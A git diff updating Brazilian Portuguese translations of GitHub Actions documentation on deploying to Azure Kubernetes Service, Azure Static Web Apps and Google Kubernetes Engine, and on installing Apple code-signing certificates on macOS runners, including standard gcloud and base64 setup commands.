+* A ação usada para fazer a implantação do aplicativo web é a ação oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) do Azure.
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
index f6ab7573d2..e62c3e8ce2 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Azure Kubernetes Service
-intro: You can deploy your project to Azure Kubernetes Service (AKS) as part of your continuous deployment (CD) workflows.
+title: Implantando no Azure Kubernetes Service
+intro: Você pode fazer deploy de seu projeto no Azure Kubernetes Service (AKS) como parte de fluxos de trabalho para implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,41 +16,41 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e publicar um projeto no [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
-1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see "[Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" and "[Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" in the Azure documentation.
+1. Crie um cluster-alvo do AKS e um Azure Container Registry (ACR). Para obter mais informações, consulte "[Início rápido: Implantar um cluster do AKS usando o portal do Azure - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" e "[Início rápido - Criar registro no portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" na documentação do Azure.
 
-1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret).
+1. Crie um segredo chamado `AZURE_CREDENTIALS` para armazenar suas credenciais do Azure. Para obter mais informações sobre como encontrar essa informação e estruturar o segredo, consulte a documentação da ação [a `açure/login`](https://github.com/Azure/login#configure-a-service-principal-with-a-secret).
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository.
+O exemplo de fluxo de trabalho a seguir demonstra como criar e implantar um projeto no Azure Kubernetes Services quando o código for enviado por push para o seu repositório.
 
-Under the workflow `env` key, change the the following values:
-- `AZURE_CONTAINER_REGISTRY` to the name of your container registry
-- `PROJECT_NAME` to the name of your project
-- `RESOURCE_GROUP` to the resource group containing your AKS cluster
-- `CLUSTER_NAME` to the name of your AKS cluster
+Na chave do fluxo de trabalho `env`, altere os seguintes valores:
+- `AZURE_CONTAINER_REGISTRY` para o nome do seu registro de contêiner
+- `PROJECT_NAME` para o nome do seu projeto
+- `RESOURCE_GROUP` para o grupo de recursos que contém seu cluster do AKS
+- `CLUSTER_NAME` para o nome do seu cluster do AKS
 
-This workflow uses the `helm` render engine for the [`azure/k8s-bake` action](https://github.com/Azure/k8s-bake). If you will use the `helm` render engine, change the value of `CHART_PATH` to the path to your helm file. Change `CHART_OVERRIDE_PATH` to an array of override file paths. If you use a different render engine, update the input parameters sent to the `azure/k8s-bake` action.
+Este fluxo de trabalho usa o mecanismo de interpretação `helm` para a ação [`azure/k8s-bake`](https://github.com/Azure/k8s-bake). Se você usar o motor de interpretação `helm` de renderização, altere o valor de `CHART_PATH` para o caminho do seu arquivo de helm. Altere `CHART_OVERRIDE_PATH` para uma matriz de caminhos de arquivos sobrescritos. Se você usar um mecanismo de interpretação diferente, atualize os parâmetros de entrada enviados para a ação `azure/k8s-bake`.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -87,7 +87,7 @@ jobs:
         inlineScript: |
           az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}
           az acr build -t  -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
-    
+
     - name: Gets K8s context
       uses: azure/aks-set-context@4e5aec273183a197b181314721843e047123d9fa
       with:
@@ -117,10 +117,10 @@ jobs:
           {% raw %}${{ env.PROJECT_NAME }}{% endraw %}
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-kubernetes-service.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* As ações usadas nesse fluxo de trabalho são as ações oficiais do Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake) e [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy).
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
index cc6a363133..bc4086c9d1 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Azure Static Web App
-intro: You can deploy your web app to Azure Static Web App as part of your continuous deployment (CD) workflows.
+title: Fazendo a implantação no Azure Static Web App
+intro: Você pode fazer a implantação do seu aplicativo web para o Azure Static Web App como parte dos fluxos de trabalho de implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,40 +16,40 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e implantar um aplicativo web nos [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
-1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation. 
+1. Crie um Azure Static Web App usando a opção "Outro" para fonte de implantação. Para obter mais informações, consulte "[Início rápido: Criando o seu primeiro site estático no portal do Azure](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" na documentação do Azure.
 
-2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation.
+2. Crie um segredo chamado `AZURE_STATIC_WEB_APPS_API_TOKEN` com o valor do seu token estático de implantação do aplicativo web. Para mais informações sobre como encontrar seu token de implantação, consulte "[tokens de redefinição de deploy nos Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" na documentação do Azure.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed.
+O fluxo de trabalho a seguir demonstra como construir e implantar um aplicativo estático do Azure quando há um push para o branch `principal` ou quando um pull request que direciona o `principal` é aberto, sincronizado ou reaberto. O fluxo de trabalho também desativa a implantação de pré-produção correspondente quando um pull request que aponta para o `principal` é fechado.
 
-Under the workflow `env` key, change the following values:
-- `APP_LOCATION` to the location of your client code
-- `API_LOCATION` to the location of your API source code. If `API_LOCATION` is not relevant, you can delete the variable and the lines where it is used.
-- `APP_ARTIFACT_LOCATION` to the location of your client code build output
+Na chave do fluxo de trabalho `env`, altere os seguintes valores:
+- `APP_LOCATION` para o local do seu código de cliente
+- `API_LOCATION` para o local do seu código-fonte da API. Se `API_LOCATION` não é relevante. Você pode excluir a variável e as linhas onde ele é usado.
+- `APP_ARTIFACT_LOCATION` para a localização da saída da compilação do seu código de cliente
 
-For more information about these values, see "[Build configuration for Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)" in the Azure documentation.
+Para obter mais informações sobre esses valores, consulte "[Criar configuração para os Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)" na documentação do Azure.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -104,10 +104,10 @@ jobs:
           action: "close"
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* A ação usada para implantar o aplicativo web é a ação oficial do Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy).
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
index 293638875e..601779181b 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
@@ -1,7 +1,7 @@
 ---
-title: Deploying to Azure
-shortTitle: Deploy to Azure
-intro: Learn how to deploy to Azure App Service, Azure Kubernetes, and Azure Static Web App as part of your continuous deployment (CD) workflows.
+title: Implantando no Azure
+shortTitle: Implantar no Azure
+intro: 'Aprenda como fazer a implantação no Azure App Service, Azure Kubernetes e Azure Static Web App como parte dos fluxos de trabalho de implantação contínua (CD).'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,3 +17,4 @@ children:
   - /deploying-to-azure-static-web-app
   - /deploying-to-azure-kubernetes-service
 ---
+
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
index 6782f10b34..ae8152bf6f 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Google Kubernetes Engine
-intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows.
+title: Implantar no Google Kubernetes Engine
+intro: Você pode realizar a implantação no Google Kubernetes Engine como parte dos seus fluxos de trabalho de implantação contínua (CD).
 redirect_from:
   - /actions/guides/deploying-to-google-kubernetes-engine
   - /actions/deployment/deploying-to-google-kubernetes-engine
@@ -14,78 +14,78 @@ topics:
   - CD
   - Containers
   - Google Kubernetes Engine
-shortTitle: Deploy to Google Kubernetes Engine
+shortTitle: Implantar no Google Kubernetes Engine
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch.
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar um aplicativo de contêiner e fazer push para o Google Container Registry (GCR) e fazer a implantação para o Google Kubernetes Engine (GKE) quando houver um push no branch `principal`.
 
-GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
+O GKE é um serviço de cluster gerenciado do Kubernetes pelo Google Cloud que pode hospedar suas cargas de trabalho containerizadas na nuvem ou em seu próprio centro de dados. Para obter mais informações, consulte [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**Observação**: {% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
+Antes de prosseguir com a criação do fluxo de trabalho, você precisará concluir as etapas a seguir para seu projeto do Kubernetes. Este guia assume que a raiz do seu projeto já possui um `arquivo Docker` e um arquivo de configuração de implantação do Kubernetes. Por exemplo, consulte [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
 
-### Creating a GKE cluster
+### Criar um cluster do GKE
 
-To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles:
+Para criar o cluster do GKE, primeiro você precisará efetuar a autenticação usando o CLI de `gcloud`. Para obter mais informações sobre esta etapa, veja os artigos a seguir:
 - [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login)
 - [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference)
-- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
+- [`gcloud` CLI e Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
 
-For example:
+Por exemplo:
 
 {% raw %}
 ```bash{:copy}
 $ gcloud container clusters create $GKE_CLUSTER \
-	--project=$GKE_PROJECT \
-	--zone=$GKE_ZONE
+    --project=$GKE_PROJECT \
+    --zone=$GKE_ZONE
 ```
 {% endraw %}
 
-### Enabling the APIs
+### Habilitar as APIs
 
-Enable the Kubernetes Engine and Container Registry APIs. For example:
+Habilitar as APIs do Kubernetes Engine e do Registro de Contêiner. Por exemplo:
 
 {% raw %}
 ```bash{:copy}
 $ gcloud services enable \
-	containerregistry.googleapis.com \
-	container.googleapis.com
+    containerregistry.googleapis.com \
+    container.googleapis.com
 ```
 {% endraw %}
 
-### Configuring a service account and storing its credentials
+### Configurar uma conta de serviço e armazenar as suas credenciais
 
-This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
+Este procedimento demonstra como criar a conta de serviço para sua integração com o GKE. Ele explica como criar a conta, adicionar funções, recuperar suas chaves, e armazená-las como um segredo de repositório criptografado codificado em base64 denominado `GKE_SA_KEY`.
 
-1. Create a new service account:
+1. Crie uma nova conta de serviço:
   {% raw %}
   ```
   $ gcloud iam service-accounts create $SA_NAME
   ```
   {% endraw %}
-1. Retrieve the email address of the service account you just created:
+1. Recupere o endereço de e-mail da conta de serviço que você acabou de criar:
   {% raw %}
   ```
   $ gcloud iam service-accounts list
   ```
   {% endraw %}
-1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements.
+1. Adicionar funções à conta de serviço. Observação: Aplique funções mais restritivas para atender aos seus requisitos.
   {% raw %}
   ```
   $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
@@ -95,40 +95,40 @@ This procedure demonstrates how to create the service account for your GKE integ
     --role=roles/container.clusterViewer
   ```
   {% endraw %}
-1. Download the JSON keyfile for the service account:
+1. Faça o download do arquivo chave do JSON para a conta de serviço:
   {% raw %}
   ```
   $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL
   ```
   {% endraw %}
-1. Store the service account key as a secret named `GKE_SA_KEY`:
+1. Armazenar a chave da conta de serviço como um segredo denominado `GKE_SA_KEY`:
   {% raw %}
   ```
   $ export GKE_SA_KEY=$(cat key.json | base64)
   ```
   {% endraw %}
-  For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+  Para obter mais informações sobre como armazenar um segredo, consulte "[Segredos criptografados](/actions/security-guides/encrypted-secrets)".
 
-### Storing your project name
+### Armazenando o nome do seu projeto
 
-Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+Armazene o nome do seu projeto como um segredo denominado `GKE_PROJECT`. Para obter mais informações sobre como armazenar um segredo, consulte "[Segredos criptografados](/actions/security-guides/encrypted-secrets)".
 
-### (Optional) Configuring kustomize
-Kustomize is an optional tool used for managing YAML specs. After creating a _kustomization_ file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage).
+### (Opcional) Configurar kustomize
+Kustomize é uma ferramenta opcional usada para gerenciar especificações do YAML. Depois de criar um arquivo do _kustomization_, o fluxo de trabalho abaixo pode ser usado para definir dinamicamente os campos da imagem e adicionar o resultado ao `kubectl`. Para obter mais informações, consulte [uso de kustomize](https://github.com/kubernetes-sigs/kustomize#usage).
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-### (Optional) Configure a deployment environment
+### (Opcional) Configure um ambiente de implantação
 
 {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment.
+O fluxo de trabalho a seguir mostra como construir uma imagem de contêiner e como carregá-los no GCR. Em seguida, ele usa as ferramentas do Kubernetes (como `kubectl` e `kustomize`) para mover a imagem para a implantação do cluster.
 
-Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image.
+Na chave `env`, altere o valor de `GKE_CLUSTER` para o nome do seu cluster, `GKE_ZONE` à sua zona de clustering. `DEPLOYMENT_NAME` ao nome da sua implantação e `IMAGE` ao nome da sua imagem.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -206,11 +206,11 @@ jobs:
         kubectl get services -o wide
 ```
 
-## Additional resources
+## Recursos adicionais
 
-For more information on the tools used in these examples, see the following documentation:
+Para mais informações sobre as ferramentas usadas nesses exemplos, consulte a documentação a seguir:
 
-* For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
-* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/).
-* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/).
-* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation.
+* Para o fluxo de trabalho inicial completo, consulte o [Fluxo de trabalho de "criar e implantar no GKE"](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
+* Para mais fluxos de trabalho iniciais e código de acompanhamento, consulte o [fluxos de trabalho de exemplos de {% data variables.product.prodname_actions %} do Google](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/).
+* Mecanismo de personalização do YAML do Kubernetes: [Kustomize](https://kustomize.io/).
+* "[Implantarum aplicativo web conteinerizado](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" na documentação do Google Kubernetes Engine .
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/index.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/index.md
index 56c61d9b6d..6dca693f4c 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/index.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/index.md
@@ -1,7 +1,7 @@
 ---
-title: Deploying to your cloud provider
-shortTitle: Deploying to your cloud provider
-intro: 'You can deploy to various cloud providers, such as AWS, Azure, and GKE.'
+title: Fazendo a implantação no seu provedor de nuvem
+shortTitle: Fazendo a implantação no seu provedor de nuvem
+intro: 'Você pode fazer a implantação em vários provedores de nuvem como, por exemplo, AWS, Azure e GKE.'
 versions:
   fpt: '*'
   ghae: '*'
@@ -12,3 +12,4 @@ children:
   - /deploying-to-azure
   - /deploying-to-google-kubernetes-engine
 ---
+
diff --git a/translations/pt-BR/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/translations/pt-BR/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
index 754cefaf0a..696fd92fcf 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md
@@ -1,6 +1,6 @@
 ---
-title: Installing an Apple certificate on macOS runners for Xcode development
-intro: 'You can sign Xcode apps within your continuous integration (CI) workflow by installing an Apple code signing certificate on {% data variables.product.prodname_actions %} runners.'
+title: Instalar um certificado da Apple em executores do macOS para desenvolvimento do Xcode
+intro: 'Você pode assinar aplicativos Xcode na sua integração contínua (CI) instalando um certificado de assinatura de código da Apple nos executores de {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/guides/installing-an-apple-certificate-on-macos-runners-for-xcode-development
   - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development
@@ -13,66 +13,66 @@ type: tutorial
 topics:
   - CI
   - Xcode
-shortTitle: Sign Xcode applications
+shortTitle: Aplicativos Sign Xcode
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to add a step to your continuous integration (CI) workflow that installs an Apple code signing certificate and provisioning profile on {% data variables.product.prodname_actions %} runners. This will allow you to sign your Xcode apps for publishing to the Apple App Store, or distributing it to test groups.
+Este guia mostra como adicionar uma etapa ao fluxo de trabalho de integração contínua (CI) que instala um certificado de assinatura de código da Apple e o perfil de provisionamento em executores de {% data variables.product.prodname_actions %}. Isso permitirá que você assine seus aplicativos Xcode para publicar na Apple App Store ou distribuí-los para testar grupos.
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
+Você deve estar familiarizado com o YAML e a sintaxe do {% data variables.product.prodname_actions %}. Para obter mais informações, consulte:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
 
-You should have an understanding of Xcode app building and signing. For more information, see the [Apple developer documentation](https://developer.apple.com/documentation/).
+Você deve ter um entendimento de criação e assinatura do aplicativo Xcode. Para obter mais informações, consulte a [Documentação de desenvolvedor da Apple](https://developer.apple.com/documentation/).
 
-## Creating secrets for your certificate and provisioning profile
+## Criar segredos para seu certificado e perfil de provisionamento
 
-The signing process involves storing certificates and provisioning profiles, transferring them to the runner, importing them to the runner's keychain, and using them in your build.
+O processo de assinatura envolve o armazenamento de certificados e provisionamento de perfis, transferindo-os para o executor, importando-os para a keychain e usando-os na sua compilação.
 
-To use your certificate and provisioning profile on a runner, we strongly recommend that you use {% data variables.product.prodname_dotcom %} secrets. For more information on creating secrets and using them in a workflow, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Para usar seu certificado e perfil de provisionamento em um executor, é altamente recomendado que você use segredos de {% data variables.product.prodname_dotcom %}. Para obter mais informações sobre a criação de segredos e usá-los em um fluxo de trabalho, consulte "[Segredos criptografados](/actions/reference/encrypted-secrets)".
 
-Create secrets in your repository or organization for the following items:
+Crie segredos no seu repositório ou organização para os seguintes itens:
 
-* Your Apple signing certificate.
+* Seu certificado de assinatura Apple.
 
-  - This is your `p12` certificate file. For more information on exporting your signing certificate from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/dev154b28f09).
-  
-  - You should convert your certificate to Base64 when saving it as a secret. In this example, the secret is named `BUILD_CERTIFICATE_BASE64`.
+  - Este é seu arquivo de certificado `p12`. Para obter mais informações sobre como exportar seu certificado de assinatura a partir do Xcode, consulte a [documentação do Xcode](https://help.apple.com/xcode/mac/current/#/dev154b28f09).
 
-  - Use the following command to convert your certificate to Base64 and copy it to your clipboard:
+  - Você deve converter seu certificado em Base64 ao salvá-lo como um segredo. Neste exemplo, o segredo é denominado `BUILD_CERTIFICATE_BASE64`.
+
+  - Use o comando a seguir para converter seu certificado para Base64 e copiá-lo para a sua área de transferência:
 
     ```shell
     base64 <em>build_certificate</em>.p12 | pbcopy
     ```
-* The password for your Apple signing certificate.
-  - In this example, the secret is named `P12_PASSWORD`.
+* A senha para seu certificado de assinatura da Apple.
+  - Neste exemplo, o segredo é denominado `P12_PASSWORD`.
 
-* Your Apple provisioning profile.
+* O seu perfil de provisionamento da Apple.
 
-  - For more information on exporting your provisioning profile from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/deva899b4fe5).
